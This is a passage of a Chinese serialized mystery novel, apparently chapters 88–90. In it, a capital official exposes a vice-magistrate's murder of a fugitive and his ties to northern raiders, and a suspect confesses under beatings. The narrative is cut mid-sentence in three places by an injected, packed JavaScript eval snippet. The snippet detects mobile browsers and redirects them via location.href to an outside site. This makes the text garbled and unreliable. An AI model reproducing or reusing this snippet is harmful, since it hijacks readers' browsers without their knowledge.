这也是常有的事,老伙计点点头,将脑袋凑近,目光牢牢扒在那笔银子上。望涯猛然嗅见一股浓烈的脂粉香气,不禁皱了皱眉头,但也没过多在意:“归子衿可是常来此处?” “是,隔三差五的来。” “来吃饭?” “不不,是来找人的。” “找谁?” “厨下的朱九。” 望涯将银子分了一半递过去,莫名想起那条肥美的鲤鱼,于是转头看向那桌,可此时上头只剩下一堆白骨。 “大人要见见朱九么?”老伙计掂量着手里的银子,却还觊觎着望涯手里的,只要他说得够多,那些就全是他的了。 “成。” “好嘞!大人先随草民到厢房稍等。”话音未落,转头将差事丢到别人手上:“把朱九喊过来。”路上又道:“草民叫郭三七,在这儿待了二十八年,不敢说遍晓临江事,但只要大人问,我就能答个七成。” 郭七停下脚步,推开身侧的房门,再躬身引望涯进屋,随后招来茶点。 望涯在屋里转悠,东摸西搞,拍拍椅子,撩撩帘子,转了一圈后回到郭三七跟前:“那你说说曾通判罢。” 郭三七眼珠子一转,苦笑道:“大人莫要拿我打趣,我老郭还想多活些日子呢,哪敢说官人的是非。” 望涯将银子往他跟前一递,手还未收回来,郭三七就开口道:“要说这曾通判啊,那真是……”他转头看看门口,随即上前将门合上,这才继续道:“命好,凭着曾夫人的功绩混了个官身,要咱们说,这就知足了对吧?但人家不这么认为,非要在外边儿养个小的,被曾夫人发现了,要他收手,曾通判不肯,这夫人一哭二闹,第三就上了吊,连女儿成婚都顾不上了。” “曾夫人姓甚名谁?”要说有这样功绩的女子因为夫君养外室而寻了短见,望涯是不肯信的,可府衙里也没有记录更详细的。 郭三七一怔,嘶嘶哈哈半天也没想出来,于是认栽,将掌心里的银子拨出一个还给望涯:“这还真不知道。” “曾通判同归子衿可有交集?”望涯接过银子放在手里把玩。 郭三七满脸堆笑,朝望涯伸出手来,又把那个银子要了回去:“有,三年前,他们在这儿打过一架。” 望涯抬手挠挠耳朵,三年前曾观就是通判了,而那时候的归子衿还没有被传出‘疯癫’的名声,怎么就敢殴打朝廷命官了?没等望涯发问,郭三七指了指门口处,低声道:“就是因为朱九。” 这又是怎么回事,难不成曾观同归子衿因为争夺朱九而大打出手? “大人您别想歪了,不是那茬子事。”郭三七大笑起来,上排牙齿缺了个门牙,望涯挑眉,她发现郭三七不用张嘴就能喝到水。 “那是怎么个事呢?”望涯喝了口茶水,顺手捞起两颗核桃。 实际上再详细的他也不清楚,只知道他们打起来时是在楼上包房里,因为曾观和归子衿身量差不多,一样弱柳扶风,因此他们打起架来颇有看头,外头乌泱泱围了一群人,除了正中你来我往的曾、归二人,一旁还有手足无措的朱九。 当然,最后谁也没打赢谁,两人都受了皮外伤,在此之前,曾夫人刚过完头七。 “朱九说是他不小心打翻了茶水,归子衿就要迁怒于人,曾通判好心相劝,莫名其妙就打起来了。” “朱九不是杀鱼的么,怎么给他们端茶倒水去了?”望涯将核桃仁从壳里抠出来,又吹了吹上头的碎屑。 “他同归秀才相识啊,俩人是同窗,自然同归子衿也相识的,在打起来之前,归秀才刚从聚金楼里买了菜回去。” 望涯听得云里雾里,不由得再对另一颗核桃下手:“也就是说,当天在此地的有四人,曾通判,归氏兄弟,以及朱九对吧?” 郭三七点头,将银子揣好,顺手也抓了一把干果咯吱咯吱嚼起来,望涯继续问:“他们是一同来的,还是分个先来后到?” “归子衿同曾通判先来的,坐了半晌,归秀才就到了,但同楼上二人没打过照面,只在堂上挑挑拣拣半天,还去厨下看了当日的活鱼,最后买了两盘素菜,他走后,楼上就动手了。”郭三七对于那天的记忆格外清晰,因为曾、归二人打架的模样十分滑稽,而归子与的穷酸抠搜同样令他印象深刻,明明兜里没几个子儿,还非得专程跑一趟酒楼,其中必定有猫腻。 再往后,每每归子与到这儿来,郭三七一双眼睛就扒在他身上瞧,非得把归子与的相好瞧出来不可,然而瞧了好几年,也没有瞧出个一二三来,同他来往得多的,只有一个朱九了,而朱九却连正眼也不肯给一个。 “鱼啊……”望涯意味深长,郭三七摸不着头脑,却不能让话掉在地上,于是将手一比划,道:“大人想吃鱼么?今日厨下有新进的鲤鱼,这么大一条的也有。” 不等望涯再问,朱九来了。 来人身材魁梧,衣袖还挽着,手上拎着把带血的菜刀,浑身杀气,双眼却装着迷茫,他不知道自己犯了什么事,竟招得官府的人亲自到这儿来找他。 “啊呀!你带这进来做什么,来来给我。”郭三七夺过菜刀,又满脸堆笑跑了出去。 望涯眨眨眼睛,掷地有声地道:“你和归子与是相好。” 朱九愕然,随即否认:“不是。” “是的。” 望涯放下一把核桃壳,接着擦擦手上的碎屑,‘哗啦’一下比划开来:“鱼。” 朱九想不清楚这同鱼有什么关系,可她就是明明白白道破了真相。 …… “望司直?” 值夜的推官巡过库房时偶然瞧见里面亮着火光,可那间屋子是田推官在用的,可他老人家早早的便回家歇下,凭他的秉性,是绝不会没事找事返回来当职的。 于是怀疑是贼,悄悄呼来捕快将四面八方围了个水泄不通,一声令下破门而入,几目相对之下,推官有些尴尬,眼前的人正是暂住府衙的望司直。 “来得正巧。” 望涯将面前的盘子往前推了推,笑问:“一起吃。” 推官定睛一看,盘子里装着的是红烩鱼段,凉的,可仍是一盘好菜,一旁甚至还有温着的酒,再往旁就是白天从归子衿宅子里抄出来的证物,上头的封条还在。 捕快转头瞪了眼推官,心里觉得望涯有毛病,大半夜跑库房里吃宵夜,更怪推官一惊一乍害自己白白激动,都有毛病! “望司直好兴致,我就不打扰了,只是天干物燥,用火当心。” 很快,一伙人撤了个一干二净,留下一个想赔罪但嘴笨的推官。 望涯起身小心翼翼从底部揭开封条,这口箱子里装的是归子衿的画作,原本是杂乱无章不知所意,但在此前,望涯将它们一一展开排序,这才得以窥见其中的景象。 “你登过五仙山吗?” 望涯将画卷重新展开,照方才自己理好的顺序在地上排开。 “回大人,登过。” “过来。” 望涯起身,地上依次排着四副水墨画,里头画的都是山水奇石,拆开看并无奇特之处,可并在一块儿,就是一整副山的情形,从西边到东边,山腰上的树也能合到一块儿,可偏偏没有山顶的画卷。 推官掌灯看了两眼,很快便答:“这就是五仙山!” “确定?” “确定,五仙山之所以名为五仙,就是因为山上有五块状似仙人的奇石,相传是为了救临江于水火下凡来的,后来在回天界的路上途径此山,又救了山民,因此灵力耗尽,只得化为石头屹立,日夜吸收天地之精华,有朝一日就能重登天界……” 推官一头说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701568|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一头数,从头到尾数了三回,都只数到了四个神仙。 “这,山顶呢?” “问得好。” 望涯也不清楚,她核对过白天列的单子,东西没少,也就说明,山顶是在查抄前就没有的,而照画卷的衔接处来看,应该是两两一对,画在同一张纸上,然后裁成两幅装裱,最终裁成了五副图画,内容分别是西边的山脚山腰,山顶,最后是东边的山腰山脚。 依次排序为,一图二图,三图四图,以及最后的五图。 然而此时的证物只有一图二图,四图和五图,丢了一副描绘山顶的图像,因为有四图的存在,因此不可能是归子衿没有作三图,也就是山顶。 既然山顶图存在,却不在证物里,一是被归子衿卖了,二就是被偷了。 “这……” 推官也犯了难,思索半晌后总算道:“归子衿买卖墨宝的地方无非也就那几家,明日排查完大抵就能知道了,只是此事该知会于田推官,毕竟这是他的案子,下官不敢多事。” 同样的,这也不是望涯的职责所在,她只负责等待结案,并监督其公正性,是没有办法亲手将这条‘鱼’开膛破肚搜查的。 望涯叹了口气,正要弯腰收拾地上的证物时,一旁的推官倒是识相地搭手:“下官来。” “田推官年迈,手脚也不利落,可京里却等得着急,倘若将案子转手给你,能不能办好?” 推官略微愣神,随即点头,连带着脊背都挺直了些:“能!” 话音落下,忽然觉得少了点什么,于是补充道:“下官叫,叫蒋常。” 望涯一笑:“本官知道。” 天刚亮透,蒋常就来消息了。 没有人买到那副‘山顶’。 “罢了,一切照常,本官先出去吃口饭。” 望涯转头买上一篓螃蟹,直奔乔府,再出来时除了快要撑破的肚皮,手上还多了份公文。 蒋常捧着公文有些不知所措,今年是他进入府衙的第四个年头,就在他觉得要打一辈子的杂活时,一份沉甸甸热乎乎的公文落到了他的手上。归子衿的案子,现在由他管了。 殊不知,望涯递到他手上的不是平步青云的天梯,而是震耳欲聋的炮仗。 她说:“现在,你可以去搜曾通判的宅子了。” 蒋常又是一怔,下巴上的须子迎风飘扬,半晌后才磕磕巴巴问:“什,什么?” “你也知道的,归子衿溺毙之前我曾寻他到府衙问过话,你猜他说的什么?” 望涯自问自答:“他说是曾观,曾通判杀了郝二九。” “郝二九在哪儿被杀的呢?五仙山呀,五仙山哪儿呢?山顶呀,归子衿宅子里的证物少了什么?” 望涯一拍手:“山顶呀!” 又问:“何人会偷证物呢?” 望涯又是一拍手,这回的答案却要靠蒋常自己答了。 …… 殿上争论不休,唾沫横飞,龙椅上的赵俨则好似灵魂出窍,正默默盘着新进的紫檀手串,这也怪不得他,底下几位文官凑在一处,你来我往的争论了近两个时辰。 林昭同样听得头昏脑涨,终于忍不住了,猛咳两声,试图劝架,然而他的声音犹如落叶入水,激不起一点声响,无奈求助洪长风,洪长风了然,转头看看赵俨,这才清清嗓子:“诸位!” 他一开口,底下的人才渐渐住了嘴。 林昭见缝插针:“眼下并非是谁品德的问题,当务之急是周熙。周熙为何误时还能进入考场,他的卷子为何不翼而飞,以他的‘才华’又为何能身居翰林院,这些才是问题所在嘛,东扯西扯的耽误了大半天,事情还办不办了?” 孟修远面色阴沉,他们在吵的不过是谁判了周熙的卷子,责任在谁,有的想趁机把一些人拖下高位,有的想揽功,各怀鬼胎! “周熙的案子且由礼部协同御史台核查,六部内自行核查,将有疑问的考生列出来归在一处,停职,着秋后复试。” 赵俨拍板,底下人也不敢有异议,于是一一告退,独留孟修远以及林昭。 赵俨起身:“园子里秋意正浓,陪朕走走。” 88.山芋 孟修远欲言又止,张仁昌被指认受贿,虽说还未查出什么来,可如今有个那么大的周熙活着,他想清白也没办法了。在此之前,他同张仁昌父子还多有往来,私交算得上密切,按理来说,他是应该替他们说说情的,可事关科考,倘若求情,岂不是背叛了自己? “总是愁眉苦脸,是会败气运的。” 赵俨走在前头,话语顺着风飘进了孟修远的耳朵里,林昭用手肘杵了杵旁人,孟修远这才反应过来,无声叹出口气:“秋风萧瑟,难免愁容。” 一行人进了暖阁,偏又推开窗,叫秋色同秋风一道钻进屋来,使人忽冷忽暖。 “原以为你是像你祖父的,可如今看来,仍是不及。” 赵俨看向孟修远,孟修远的祖父孟澄,曾当过三日太傅,为何只有三日呢?是因其兄长要他以太傅的身份行便宜之事,孟澄虽是文官,可生得一副铁骨,就算是把他丢进炼丹炉里也绝不肯徇私枉法,一头是天地正义,另一头是‘长兄为父’,两头都舍不下,于是一甩袖,辞官回乡了。 孟澄向来如此,因此为官多年,树的敌人比结交的朋党多出许许多多,倘若不是先帝护着,恐怕凭他的‘刚正不阿’以及心直口快,是不能够安度晚年的,对于人情往来,孟澄嗤之以鼻,今日若换作是他,张仁昌还能安安稳稳地待在尚书府里吗? 大抵是不能的,非但不能,怕是早已被扒了官袍,遣送回乡了。 而孟修远却仍在斟酌是否该开口替人美言。 至于张仁昌,他上任以来受了多少贿,糊弄过多少事情,赵俨都一清二楚。从前是睁一只眼闭一只眼,现在既然被翻出来,那便是罪有应得,盖也盖不过去的。 孟修远攥了攥衣角,正要请罪,却听赵俨笑道:“不过也正常,朕也不及先帝,就算你是第二个孟太傅,朕也未必能是第二个先帝。” 林昭闻言道:“先帝清明在躬,仁孝遍物,却不会纵容一个林昭在侧大吃大喝,举止粗犷。” 话音落下,他将手上的半块点心塞进嘴里,含糊不清道:“陛下容臣放肆,陛下仁爱万物,雍容大度,陛下是明君,亦是贤君……” 赵俨欲言又止,终是摇了摇头,指着林昭朝孟修远道:“三岁时便是这样,如今过了十几载,仍是这样,再过几十年,你再替朕看看,他这秉性还改没改。” 从宫里出来时,林昭已是吃饱喝足,而孟修远则彻底断了拉张仁昌一把的念头,也对,那样一个人,有什么好说情的。 “也不知北边如何了。” 林昭叹道,马车缓缓行驶在街上,嘈杂的叫卖声穿过帘子直达脑海,却不让人觉得吵闹,反倒有种太平盛世的错觉。 “沈将军虽年迈,可也是身经百战,区区北栖,不足为虑。” …… 马蹄疾驰而过,扬起漫天的黄沙,沈定西一手紧攥缰绳,一手则拽住麻绳,麻绳另一端五花大绑的是北栖战俘。 首战告捷。 北栖被逼退,沈军统共俘虏了三十一个北栖蛮人。 “阿翁!又逮到一个。” 账内温暖如春,一盆炭火烧得正旺,沈定西端起陶碗牛饮,最后一抹嘴,再凑到沈泰跟前烤火。 沈泰将她打量一遍,确保没有负伤才放下心来:“明日起就别出去了。” 京中秋色是浓,北边却已经下过一场小雪,北栖人得过冬,可榷场已经收了,他们要想挨过年末,就得想方设法犯边,掠夺物资,阔一阔他们的土地。 可谁家不过年呢? “知道了。” “多穿点衣裳,袖口给我收紧喽,在北地里若是染了风寒,可不会轻易好起来,有些还能要了人命。” 沈泰将风干肉递给沈定西。 沈定西接过:“阿翁,军情可送出去了?” 沈泰点头,又听她问:“此番旗开得胜,是否该犒赏将士?” 沈泰闻言笑道:“当然,今夜宰羊吃。” “太好了!” 沈定西起身:“我去看看伤情,再有清点军功。” 有了沈定西随军,许多事情都不必由沈泰操心了,换了以前,虽说有副手在,可总也不放心全权教给。 “小娘子。” 阿彤翻身下马,紧随其后的还有长长的车队,上头满载货物,半月前她奉命到县上采买,正要返程,有一京商风尘仆仆赶来,送了一整袋药材,另外还有一封信。 “是望司直托孔氏的商路带来的。” 阿彤从怀里掏出信纸递给沈定西。 信封摸起来不厚,但沈定西很开心,小心将它收好,接着办事去了。 …… 张行简的腿还未迈过门槛,便见张清迎了上来,她想问的当然是张仁昌的事情,自打张仁昌被立案,各方的官员隔三差五就要进尚书府里查证,在这个节骨眼上她也很难常常往书院跑。 “大哥,爹爹他……” “尚不明了。” 张行简自顾往自己的院子里走,身后的张清却不肯罢休,追在后头还想问,前头的人却忽然停下脚步,张行简回头打量张清,半晌后才道:“好好在家里待着,切勿节外生枝。” “知道了,大哥,我听他们说爹爹会被贬官。” “谁说?” “街面上。此事可有转圜之地?” 张行简不答,狐疑地看向张清,继而往书房走去。张清素来懂礼数有礼节,从来也不会开口找人要什么,一年到头除了请安问好,并不多说闲话,兄妹俩熟悉,甚至张行简还常穿张清年节里送的衣裳,却也不甚熟悉,自从张清不在院子里做女工后,她的动向,张行简便不知晓了。 两厢坐下后,张行简先问:“你想做什么?” 张清攥了攥衣袖,她同其他人办女学,此事并非见不得人,只是眼下里头的学生身份特殊,一旦被有心人揭发,望涯恐怕就得喝上一壶。 “我不想离京。” 她抬头看向张行简,掷地有声,目光坚定,她要是走了,宋远华怎么办,学生们怎么办? 四下一片寂静,忽然传来一阵脚步声,是应颂今带着张赢过来了,她的目光落到张清身上,随即笑道:“二娘也在呀。” 接着看向张行简,又将张赢往他怀里一放,这才道:“来得正好,我前些日子从珠玉坊挑了几支簪子,你同羡之都有,就是不知道你们的喜好,不如自己挑挑?” 张清抿了抿嘴,转头看向张行简,恰好他也看了过来:“去吧。” 只好跟在应颂今后头离开了,她早也知道,在这样的事情上从来都由不得自己做主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔波拢了拢衣袖,叹道:“唉,飞光飞光,原本还想留望司直多吃几顿饭的,可……” “乔大人!下官有,有话要说。” 蒋常一咬牙,豁出去了。 望涯悄然退到一旁,给蒋常腾出更大的位置来,接着将手里的公文放回到桌案上,袖手,好戏开场。 “归子衿死得蹊跷,在他的住所里发现了四副水墨画,拼凑起来是五仙山的情形,山腰上有浓雾,同商秀以及几年前归子衿的证词一致,然而独独缺了画有山顶的那副,好巧不巧,据望司直所说,在归子衿投井前,他曾指认,是曾通判杀了郝二九……” 望涯瞥了眼曾观,他的拐杖抖得厉害,不得不用两只手将其抓稳,不等蒋常说完便厉声呵斥:“住嘴!” “曾通判何必心急,等他陈完情再反驳也不迟。” 望涯转头看向乔波,乔波会意,也附和道:“没错,你先别说话。” 蒋常已经出了一身汗,不敢再说,可总感觉背后有什么东西在推他,稍加思索才悟到,那是他的前程啊!于是咽了咽口水,十分丝滑地将烫手山芋抛给了望涯:“再详细的,恐怕得问问望司直了。” 望司直不想吃山芋:“我知道的并不比你详细,还是你来罢。” “这……” 你先前可不是这样说的呀! 89.郝二十 曾观看着两人的这出戏,便知一切都是望涯在背后怂恿。 “你说完了没?”他问蒋常。 蒋常点点头,又摇摇头,继续道:“知府大人,此案得,得审,审曾通判。” 乔波觉得不可思议,不是查商秀的旧案么?怎么死了个归子衿,如今还要查他的通判,然而转头看向望涯,这厮一脸纯良,可细究起来,却都有她的影子,再细究起来,确实同她没有关系。 “你是个什么东西,凭那副子虚乌有的山顶,以及归子衿的疯言疯语,就敢以下犯上查朝廷命官?我看你是鬼迷心窍,该回去将脑袋摘下来泡泡黑狗血才是!”话里话外,都指像一旁那位‘小鬼’。 曾观又冲望涯道:“曾某何时得罪过望司直,以至于处处针对诬陷,如今连这样荒唐的事情都能扣到我脑袋上,倘若当真是无意中亏待了您,还望您明说,叫曾某死得清楚明白!” “曾通判稍安勿躁,切勿乱了阵脚,在知府大人面前失了分寸。得罪是犯不上的,你我之间无冤无仇,我自然没有道理构陷于你,况且,这于我来说有什么好处呢?自始至终,本官想查的只有一个商秀的案子呀。” 望涯转而对乔波道:“知府大人,无论是归子衿还是郝二九,说到底都是府衙的案子,下官无权干涉,可如今事关商秀,下官也就不得不过问了,且容下官就案子说几句话。” 乔波点头,望涯继续道。 “案卷上记载,案发时山顶上统共有四人,郝二九,郝二十,以及商秀和归子衿。如今有归子衿的指认,说曾通判也出现在山顶上,并且是他亲手砍死的郝二九,也就是说,山顶上有五个人了,还活着的还有几个呢?一个远在京城的商秀,曾通判,以及刚刚捉拿归案的郝二十,商秀是查不到了,曾通判身为朝廷命官,自然轻易查不得,既然如此,便只能从郝二十下手了,而此间,蒋推官资历尚浅,对付罄竹难书的郝二十恐怕不够,而曾通判牵扯其中,为了公正,自然也不能由他审理,下官职权不在此处,因此,请知府大人亲审。” 这一通话下来,山芋就被抛向了乔波。 而乔波没办法拒绝,于是不得不说:“也好,来人呐,提郝二十。” 在郝二十被拿上来前,望涯看了眼蒋常,他会意,连忙道:“大人,既为公正,曾通判应当离堂。” 没等曾观再骂,望涯接过话头:“蒋推官思虑周全,如此,下官也先行告退了。” 于是,望涯挟曾观退到堂下,二人面面相觑,曾观如坐针毡,终是起身:“府衙的茶好喝,望司直慢慢品罢,我就先走了。” “曾通判,心气浮躁可不利于替自己辩白啊。”望涯不肯放过,两厢针锋相对时,堂上同样倒显得一派祥和。 蒋常身旁没了曾观阻碍,不由得身心放松,连带着腰板都挺直了许多。 堂上的乔波却是一脑袋的浆糊,他看着堂下跪着的郝二十,一时不知该从何审起,沉默了半晌,抬手抠抠脑袋,灵光乍现,费力咳了几声响,这才道:“堂下何人,报上名来。” 郝二十没有丝毫怯场的意思,举止之间也尽显从容,反正曾观说了,会把自己放出去的,只是回来签字画押,往后桥归桥路归路,各活各的。 “贱民郝二十,拜见知府大人。” 乔波翻翻身前的卷宗,里头有新鲜出炉的公文,是郝二十在旧卷宗上的画押以及供词,他问:“说说商秀的案子吧。” 郝二十略微一怔,曾观只让他画押,没叫他对口供啊,然而知府在上,他只好硬着头皮瞎扯,好在,胡说八道一番也能同文书的记录对上。 乔波又要抠脑袋,便听底下的蒋常呵斥道:“大胆!事到如今还敢欺瞒朝廷命官?!来人,杖责二十!”知府还在,此举无疑是越权了,然而乔波并未追究,反倒挥挥手,眼见郝二十挣扎被拖到青天底下,很快,杀猪般的惨叫传到了望涯的耳朵里。 “啊呀,怎么用上刑了。”望涯放下茶盏,作势走到门口眺望,直到归于平静,这才走回原地,对着脸色苍白的曾观道:“二十杖,这得休养好半年吧?” 曾观仍是不语,一时间竟拄不稳拐杖,坐着摔了个趔趄。 蒋常瞥了眼郝二十,他已经如烂泥一般了,跪也跪得歪七扭八,于是趁热打铁:“还不从实招来?” “草民不知,大人给个明示罢…”一句话说得断断续续,像是要断气。 乔波冷哼一声,破皮无赖他天天都见,都是一样的德性:“少装,不会好好跪是吗?来人,再拖下去教导教导。”惊堂木一拍,郝二十又开始惨叫喊冤。 望涯将脑袋贴在墙上听了半晌,再跑回曾观面前:“这倒是听不出来了,不像杖责,曾通判可辨得清楚?” 确实不是杖责,衙役搬了钉床,正要去拖郝二十,怎料这厮眼睛一闭腿一蹬,昏死过去了。 乔波打眼一看,平静地道:“这是困了,送他到床上睡。” 衙役的手还未碰到沉沉睡着的郝二十,却先听见他怪叫起来,一双手在地面上使劲抠,不知是想打洞还是想扒住点什么好不被身后的鬼魅拖走。 蒋常见状,给乔波递了个眼色,差不多可以审了。 此时乔波的脑袋逐渐清晰,仿佛又回到了十几年前在县衙里头审案的时候。他适时地给了提醒:“有人说,郝二九是死在曾观手底下的,当时你也在场。” 郝二十疼得出了一身虚汗,耳边也是嗡嗡作响,闻言忽然耳根清净下来,也顾不上这疼那疼了:“不不,不是,没有。” “不是什么,不是曾观杀的,还是你不在场?” 郝二十抬头要看乔波,却被额上滑落的汗珠迷了视线:“不是曾观杀的。” “那郝二九是你杀的了。”乔波下了个莫名其妙的定论。 “是秀,那个什么秀杀的!” “当时是怎么样的情形?”乔波问。 “我当时出去,就看见他抄刀将我大哥砍得七零八落,就是那个什么秀,对,商秀,长得很漂亮的那个!”当然不是,当时他正在屋里打算对归子衿行不轨之事,商秀则交给了郝二九,忽听郝二九一声惨叫,等他夺门而出时,正好看见曾观落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742682|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一刀,他的大哥死不瞑目,血流不止。 而商秀倒在一旁,似乎是不省人事,除此之外还有其他人,约摸有六七个,不等自己看清形式,便被他们按在地上揍了一顿。 在此之前商秀做了什么他全然不知,可又不能胡编乱造,叫人看出端倪来,郝二十当机立断,将曾观做的事套到了商秀身上,经过并不重要,只要最终同曾观无关就好了。 “当时商秀穿的什么衣裳,可有配饰?”乔波问。 郝二十张口就要装蒜,乔波瞧见苗头,先一步道:“拖下去。” “别别别……”郝二十恨不能将自己的脑袋敲碎,将里头的东西掏出来翻看,他连商秀的名字都差点记不起来,哪里还能记得他穿的什么衣裳,况且当日,他的眼里只看到穿着白衣的归子衿了呀! 然而又是不能胡诌,万一同他人的口供对不上,岂不死得更快? 思来想去,只有曾观的穿着他记得一清二楚,那时候他被按在地上胖揍,挣扎间看见曾观衣摆上的纹路,上头还溅了大片自家大哥的鲜血。 “深蓝的窄袖衫袍,佩的什么实在是记不清了!” 乔波沉吟片刻,道:“叫望司直过来。” 很快,望涯来了,她瞥一眼郝二十,他身上散发出阵阵血腥混着陈年污垢的味道,她甚至能够猜到他有多久没有沐浴更衣,很想掩面,但知府在,不敢失了仪态,只好往旁退了退。 “来之前你同商秀问过话了对吧?” “回大人,是的。” “那么事发当日,他穿的什么衣裳?” 换作常人,这般刁钻的问题是难以回答的,但望涯不是常人,她连当日商秀几时起床,几时出门,吃了几碗饭都打听得一清二楚。 “青古宽袖织金暗纹,腰间佩剑和碧玉环,是新做的衣裳,头一天穿出门,从东门的似阳坊显摆到西街的菜市场,最后才上的五仙山。”望涯答道。 郝二十脑袋一片空白,连眼神都变得清澈,他看看蒋常,再看看乔波,最后看看望涯。 不是,曾观死到哪儿去了?! 乔波又落下一记惊堂木:“狗贼,还敢欺瞒!” 蒋常顺势而为,开始行挑拨离间的手段:“知府大人无所不知,你的同党已经处置掉啦,留着你是给你一次机会,别不知好歹。” 望涯转头看看外头的物什,忽然感叹道:“哇,好大一张床。” 钉床上的锋芒熠熠闪光,郝二十好似看见它们在对自己招手,顿时头皮发麻,欲言又止。 “禀大人,曾通判求见。”有人来报。 蒋常猛然抬头看向望涯,地上的郝二十双眼放光,好似又活过来了。 屋外的曾观正来回踱步,他想着乔波会见他的,自己这么多年来一直替他办事,鞠躬尽瘁溜须拍马,还得哄他吃饭,没有功劳也有人情在,总不至于连这一面都不肯见吧? “曾大人,您怎么在这儿呢,快出去看看吧!” 府衙门前有人击鼓鸣冤,面孔却算不上陌生,她正是曾观的女儿,名为曾莲。 90.花独义 “你来做什么?滚回去!”曾观怒不可遏,曾莲充耳不闻,当即一跪,将诉状呈高高举起。 …… “把她带到堂下候着。”乔波看看天色,该吃晌午饭了,可底下有个郝二十,外头还有姓曾的父女,难办,难办! 蒋常并不知道外头发生了什么,却能看见乔波杀气腾腾,再拖下去,恐怕这位知府大人就该甩手去吃饭了。 “还不快从实招来?!”他恨不能夺过一旁的水火棍亲自动手。 “拖下去。”乔波说。 郝二十终究是招了。 事情却要从五仙山之前说起,那是后半夜了,郝氏兄弟从北方一路逃亡到临江府,寻了一处破庙歇脚,如此住了几天,正寻好了去处,打算趁夜离开时,忽然听见一行人匆匆往破庙里赶来。 二人眼神一对,揣上包袱躲到佛像后头。 很快便有两人过来了。 其中一人正是瘸腿的曾观,另一人带着奇怪的口音,谈话的内容大致是他要曾观往衙门里头塞人,曾观应下,又问还要塞多少,不等那人回答,便听见几声闷响。 这声响对于郝氏兄弟来说再熟悉不过,就算不探出脑袋去看,也知道有人下刀子了,至于死的是谁,那便听不出来了,于是又听,直到听见拐杖一步一步敲击着往屋外走去。 是曾观杀了那个人。 郝二九知道,他们的翻身之日有盼头了。 第二日散衙时,趁着天色昏暗,二人将曾观一捆,还顺手将他的拐杖投到井里,最后将他带回到破庙。 曾观面对着那具已经僵硬的尸体,郝氏兄弟甚至在那死人的鬓边簪了一朵艳丽的野花。 简而言之,他们要曾观给钱,给新户籍,否则就把这个死人抬到乔波家门口。 曾观不得不答应,可他实在穷得叮当响,就在一筹莫展时,归子衿捧着一堆画纸从画坊里头出来,飘然若仙。 再后来便发生了五仙山上的事情,归子衿不知为何听从曾观,引商秀上山,却早在四周埋伏,手刃了郝二九,留下郝二十,拿着新户籍逼迫他去杀人。 人是杀完了,可户籍却迟迟没到手,郝二十左等右等,决定先躲为妙,曾观下手比他大哥还狠毒!然而,他躲了没两天,就又被曾观找到,并破天荒为他提供了住所。 直到昨日,曾观再次造访,这回将户籍真正交到了他手里,并要他到府衙去签字画押,这个案子就算了结,你从此清白了。 郝二十欣然接受。 蒋常长舒一口气,望涯没骗他,前程似锦啊,前程似锦! “拖下去,拖回牢房再审!”乔波‘唰’地站起身,中气十足:“把曾观押入监牢!提见曾莲。”当着京官的面,曾观闹了这么一出,手握好几条人命,甚至敢往府衙里塞一些乱七八糟的狗贼,而自己全然不知,要是这样的消息被望涯带回京城,那他岂不是吃不到明年秋日的螃蟹了?! 于是见曾莲。 曾莲身形消瘦,说话却掷地有声。 诉状上头写,曾观同北栖人多有往来,她亲娘,那位赫赫有名的曾夫人,也是他害死的。 乔波还未开审,就有人来报,曾观求见。 “叫他滚过来!”乔波怒上心头,事已至此,他倒要看看曾观还想耍什么花样。 怎料,曾观自然摘了官帽,当堂认罪。 事情要从他的那条腿说起,原先这条腿是好的,后来被人打断,被什么人打的呢? 北栖人。 那人名为耶律大石,威胁曾观,要他往衙门里塞人,曾观为了活命,放进一个北栖的充当衙役,怎料那厮当日就把被抓入大牢的同乡偷了出去,这还没完,一个衙役的身份填报不了他们的胃口,耶律大石又要一个主簿的位置。 曾观实在是没办法,心急如焚时,曾夫人发现了他的端倪,了解完内情后,怒斥曾观窝囊,是个天大的废物!接着甩袖,出门去了,再回来时,手上沾满血迹,她把耶律大石的脑袋卸了下来,将其丢进猪圈里。 两头猪围着脑袋嗅了半晌,接着将它啃了个一干二净。 往后两日里,她又如法炮制,将那名衙役同样喂了猪,又叫曾观辞官回乡。他往衙门里送人已然犯了朝廷法度,倘若揭到乔波面前必定会被贬官流放,倒不如自己及时抽身,况且北栖人不会轻易罢休,将来只怕日子都不好过,他曾观不想活,可也要替女儿着想罢。 然而曾观不肯,他的仕途来之不易,是靠那场地震,以及他的夫人得来的,将来哪能再有那么巧,再来一回地震呢? 曾夫人自顾收拾好行囊,曾观不走,她自己带着女儿走! 翌日,北栖人冲进宅子里,把曾夫人活活勒死,再将她的尸首挂在房梁上,包袱掉落,里头的东西散落一地。 曾莲目睹了一切,她被母亲锁在柜中,透过缝隙看见了那些人的面孔。然而曾观什么也没说,照常安排了她的婚事,成婚当日,那些北栖人甚至坐在席间大吃大喝。 曾观死死按住她,恶狠狠道:“你少惹是生非,你娘的死是意外,听见没有?!外面那些畜生杀人不眨眼的!” 